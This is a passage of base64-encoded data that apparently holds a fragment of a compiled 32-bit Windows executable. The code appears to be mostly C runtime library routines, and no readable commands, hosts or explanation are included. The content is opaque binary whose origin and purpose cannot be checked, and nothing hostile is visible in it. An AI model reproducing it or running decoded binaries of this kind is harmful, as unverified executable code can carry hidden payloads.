B0QTlNGHUIPCB0ODwJdDSF0nQqD77AUOhMKwAAWYX/dBOFwHQIigaIB0dG/wOKBogHR+sHhcB0A0b/A/8DRulv////hf90BMYHAEf/A+kt////i1UMX15bhdJ0A4MiAItFFP8AXcODPRTvBBAAdQXo4Hv//1aLNTjQBBBXM/+F9nUXg8j/6ZYAAAA8PXQBR1bonXT//0ZZA/CKBoTAdeuNRwFqBFDoacX//4v4iT3wzwQQWVmF/3TKizU40AQQU4A+AHQ+VuhodP//gD49WY1YAXQiagFT6DjF//+JB1lZhcB0QFZTUOjR5f//g8QMhcB1SIPHBAPzgD4AdciLNTjQBBBW6HUt//+DJTjQBBAAgycAM8DHBRjvBBABAAAAWVtfXsP/NfDPBBDoTy3//4Ml8M8EEACDyP/r5DPAUFBQUFDoiXf//8xVi+yD7BSDZfQAg2X4AKHwugQQVle/TuZAu74AAP//O8d0DYXGdAn30KP0ugQQ62aNRfRQ/xV0wQMQi0X4M0X0iUX8/xWwwQMQMUX8/xWkwAMQMUX8jUXsUP8V9MADEItN8I1F/DNN7DNN/DPIO891B7lP5kC76xCFznUMi8ENEUcAAMHgEAvIiQ3wugQQ99GJDfS6BBBfXovlXcNVi+xRV/8V8MADEIv4M8CF/3R1Vov3ZjkHdBCDxgJmOQZ1+IPGAmY5BnXwU1BQUCv3UNH+RlZXUFD/FXjBAxCJRfyFwHQ3UOgsxP//i9hZhdt0KjPAUFD/dfxTVldQUP8VeMEDEIXAdQlT6Css//9ZM9tX/xWYwQMQi8PrCVf/FZjBAxAzwFteX4vlXcNVi+z/FVzBAxBqAaPc3QQQ6CMBAAD/dQjoLML//4M93N0EEABZWXUIagHoCQEAAFloCQQAwOj6wf//WV3DVYvsgewkAwAAahfoW1AAAIXAdAVqAlnNKaPA2wQQiQ282wQQiRW42wQQiR202wQQiTWw2wQQiT2s2wQQZowV2NsEEGaMDczbBBBmjB2o2wQQZowFpNsEEGaMJaDbBBBmjC2c2wQQnI8F0NsEEItFAKPE2wQQi0UEo8jbBBCNRQij1NsEEIuF3Pz//8cFENsEEAEAAQChyNsEEKPM2gQQxwXA2gQQCQQAwMcFxNoEEAEAAADHBdDaBBABAAAAagRYa8AAx4DU2gQQAgAAAGoEWGvAAIsN8LoEEIlMBfhqBFjB4ACLDfS6BBCJTAX4aOgkBBDozP7//4vlXcODJUTeBBAAw1WL7FaLdQiF9g+E6gAAAItGDDsFvL0EEHQHUOitKv//WYtGEDsFwL0EEHQHUOibKv//WYtGFDsFxL0EEHQHUOiJKv//WYtGGDsFyL0EEHQHUOh3Kv//WYtGHDsFzL0EEHQHUOhlKv//WYtGIDsF0L0EEHQHUOhTKv//WYtGJDsF1L0EEHQHUOhBKv//WYtGODsF6L0EEHQHUOgvKv//WYtGPDsF7L0EEHQHUOgdKv//WYtGQDsF8L0EEHQHUOgLKv//WYtGRDsF9L0EEHQHUOj5Kf//WYtGSDsF+L0EEHQHUOjnKf//WYtGTDsF/L0EEHQHUOjVKf//WV5dw1WL7FaLdQiF9nRZiwY7BbC9BBB0B1Dotin//1mLRgQ7BbS9BBB0B1DopCn//1mLRgg7Bbi9BBB0B1Dokin//1mLRjA7BeC9BBB0B1DogCn//1mLRjQ7BeS9BBB0B1Dobin//1leXcNVi+xWi3UIhfYPhG4DAAD/dgToUyn///92COhLKf///3YM6EMp////dhDoOyn///92FOgzKf///3YY6Csp////NugkKf///3Yg6Bwp////diToFCn///92KOgMKf///3Ys6AQp////djDo/Cj///92NOj0KP///3Yc6Owo////djjo5Cj///92POjcKP//g8RA/3ZA6NEo////dkToySj///92SOjBKP///3ZM6Lko////dlDosSj///92VOipKP///3ZY6KEo////dlzomSj///92YOiRKP///3Zk6Iko////dmjogSj///92bOh5KP///3Zw6HEo////dnToaSj///92eOhhKP///3Z86Fko//+DxED/toAAAADoSyj///+2hAAAAOhAKP///7aIAAAA6DUo////towAAADoKij///+2kAAAAOgfKP///7aUAAAA6BQo////tpgAAADoCSj///+2nAAAAOj+J////7agAAAA6PMn////tqQAAADo6Cf///+2qAAAAOjdJ////7a4AAAA6NIn////trwAAADoxyf///+2wAAAAOi8J////7bEAAAA6LEn////tsgAAADopif//4PEQP+2zAAAAOiYJ////7a0AAAA6I0n////ttQAAADogif///+22AAAAOh3J////7bcAAAA6Gwn////tuAAAADoYSf///+25AAAAOhWJ////7boAAAA6Esn////ttAAAADoQCf///+27AAAAOg1J////7bwAAAA6Con////tvQAAADoHyf///+2+AAAAOgUJ////7b8AAAA6Akn////tgABAADo/ib///+2BAEAAOjzJv//g8RA/7YIAQAA6OUm////tgwBAADo2ib///+2EAEAAOjPJv///7YUAQAA6MQm////thgBAADouSb///+2HAEAAOiuJv///7YgAQAA6KMm////tiQBAADomCb///+2KAEAAOiNJv///7YsAQAA6IIm////tjABAADodyb///+2NAEAAOhsJv///7Y4AQAA6GEm////tjwBAADoVib///+2QAEAAOhLJv///7ZEAQAA6EAm//+DxED/tkgBAADoMib///+2TAEAAOgnJv///7ZQAQAA6Bwm////tlQBAADoESb///+2WAEAAOgGJv///7ZcAQAA6Psl////tmABAADo8CX//4PEHF5dw1WL7FGh8LoEEDPFiUX8i00cU1ZXM/+FyXUNi0UIiwCLQASLyIlFHFczwDlFIFf/dRQPlcD/dRCNBMUBAAAAUFH/FXzBAxCL2IXbdQczwOmRAAAAfkuB+/D//393Q40MG41BCDvBdjmNBF0IAAAAPQAEAAB3E+jVIQAAi/SF9nTMxwbMzAAA6xNQ6JQl//+L8FmF9nS3xwbd3QAAg8YI6wKL94X2dKaNBBtQV1boHjL//4PEDFNW/3UU/3UQagH/dRz/FXzBAxCFwHQQ/3UYUFb/dQz/FaDBAxCL+FboQ/T//1mLx41l8F9eW4tN/DPN6GNt//+L5V3DVYvsg+wQ/3UIjU3w6Aki////dSCNRfD/dRz/dRj/dRT/dRD/dQxQ6Nz+//+DxByAffwAdAeLTfiDYXD9i+Vdw1WL7FZXi30Ihf90E4tNDIXJdAyLVRCF0nUaM8BmiQfoG2j//2oWXokw6MZu//+Lxl9eXcOL92aDPgB0BoPGAkl19IXJdNQr8g+3AmaJBBaNUgJmhcB0A0l17jPAhcl10GaJB+jXZ///aiLrulWL7FaLdQiF9nQTi1UMhdJ0DItNEIXJdRkzwGaJBuiwZ///ahZeiTDoW27//4vGXl3DV4v+K/kPtwFmiQQPjUkCZoXAdANKde4zwF+F0nXfZokG6H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//g8QM6G1g///HACoAAADoYmD//4swgH38AHQHi034g2Fw/YvGXl9bi+Vdw4XbdAaF/3RfiAOLRQiFwHTZxwABAAAA69GNTQyJdQxRVldTagGNTRRRVv9wBP8VeMEDEIvIhcl0EDl1DHWai0UIhcB0pYkI66H/FeTBAxCD+Hp1hIXbdA+F/3QLV1ZT6D4p//+DxAzo3l///2oiXokw6Ilm///pb////1WL7GoA/3UU/3UQ/3UM/3UI6Mb+//+DxBRdw8zMzMzMzMzMzMzMzFaLRCQUC8B1KItMJBCLRCQMM9L38YvYi0QkCPfxi/CLw/dkJBCLyIvG92QkEAPR60eLyItcJBCLVCQMi0QkCNHp0dvR6tHYC8l19Pfzi/D3ZCQUi8iLRCQQ9+YD0XIOO1QkDHcIcg87RCQIdglOK0QkEBtUJBQz2ytEJAgbVCQM99r32IPaAIvKi9OL2YvIi8ZewhAAzMzMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////uwxOBBDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7sMTgQQ2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AUETgQQw9nJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLfBNBBCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6GwWAACDxAzdRf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